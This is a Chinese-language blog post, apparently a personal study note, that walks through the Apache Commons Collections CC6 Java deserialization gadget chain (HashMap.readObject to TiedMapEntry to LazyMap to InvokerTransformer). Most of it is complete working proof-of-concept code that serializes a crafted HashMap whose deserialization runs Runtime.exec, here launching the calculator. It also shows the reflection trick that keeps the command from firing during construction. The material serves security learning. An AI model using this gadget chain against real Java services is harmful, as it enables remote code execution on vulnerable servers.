CC6学习

 Von's Blog     2021-10-12   7427 words    & views

前言

前面我们学习了CC1这条链,并了解了利用TransformedMap和LazyMap的两种利用方法,但我们也提到在Java8u71及以后,由于AnnotationInvocationHandler类的readObject方法逻辑变了,导致CC1实际上失效了;本次我们就来学习CC6,这条链在高版本JDK上仍然可用。阅读本篇文章前建议先阅读之前学习URLDNS和CC1的文章(我感觉CC6有点像CC1和URLDNS融合)。

回顾

在CC1中我们知道了LazyMap这个类的get方法可以执行transform方法进而执行命令:

public Object get(Object key) {
  // create value for key if key is not currently in the map
  if (map.containsKey(key) == false) {
    Object value = factory.transform(key);
    map.put(key, value);
    return value;
  }
  return map.get(key);
}

在CC1中我们通过构建动态代理对象并通过执行其中的invoke方法来调用到了get方法,在高版本中既然此法走不通了,那我们只能寻找其他调用了get方法的点了。

TiedMapEntry

这里我们发现org.apache.commons.collections.keyvalue.TiedMapEntry的getValue⽅法 中调⽤了 this.map.get ,⽽其hashCode⽅法中又调⽤了getValue⽅法

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;   
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return key;
    }

    public Object getValue() {
        return map.get(key);
    }
    
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }
}

到这里,我们获得了一条调用链:

TiedMapEntry.hashCode() ---> TiedMapEntry.getValue() ---> LazyMap.get() ---> Transformer.transform()

到这里,提到hashCode()函数,我们应该已经感觉很熟悉了,没错,之前我们在URLDNS那条链里面就用过这个函数了,我们知道HashMap这个类实现了自己的readObject方法,并在readObject里面对HashMap里面的每个key都执行了

putVal(hash(key), key, value, false, false);

而hash函数的实现中正利用到了hashCode()函数:

static final int hash(Object key) {
  int h;
  return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

由此,我们便初步得到了一条执行链:

HashMap.readObject() ---> HashMap.hash() ---> TiedMapEntry.hashCode() ---> TiedMapEntry.getValue() ---> LazyMap.get() ---> Transformer.transform()

POC

由上,我们可以想当然的构造出一个POC:

package CC6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException{
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new Transformer[]{new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry mapentry = new TiedMapEntry(lazymap, 'a');
        hashmap.put(mapentry,'b');
        serialize(hashMap);
        unserialize();
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }

    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        Object obj = ois.readObject();
        return obj;
    }
}

但是这里学过之前URLDNS链的就知道,其实HashMap的put操作中,已经调用了一次hash()方法了。

public V put(K key, V value) {
  return putVal(hash(key), key, value, false, true);
}

所以这导致还没到反序列化的那步就会触发命令执行了,造成了非预期的结果。这里解决方法也类似于之前URLDNS的,在put之后再通过反射修改属性值,我们先修改TiedMapEntry的map属性为一个空的HashMap,put后再修改为lazymap,修改核心代码如下:

ChainedTransformer chainedTransformer = new ChainedTransformer(
  new Transformer[]{new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                                           new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry mapentry = new TiedMapEntry(new HashMap(), 'a');
hashmap.put(mapentry,'b');
Field mapfield = TiedMapEntry.class.getDeclaredField("map");
mapfield.setAccessible(true);
mapfield.set(mapentry,lazymap);
serialize(hashMap);
unserialize();

最终POC为:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new Transformer[]{new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry mapentry = new TiedMapEntry(new HashMap(), 'a');
        hashMap.put(mapentry,'b');
        Field mapfield = TiedMapEntry.class.getDeclaredField("map");
        mapfield.setAccessible(true);
        mapfield.set(mapentry,lazymap);
        serialize(hashMap);
        unserialize();
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }

    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        Object obj = ois.readObject();
        return obj;
    }
}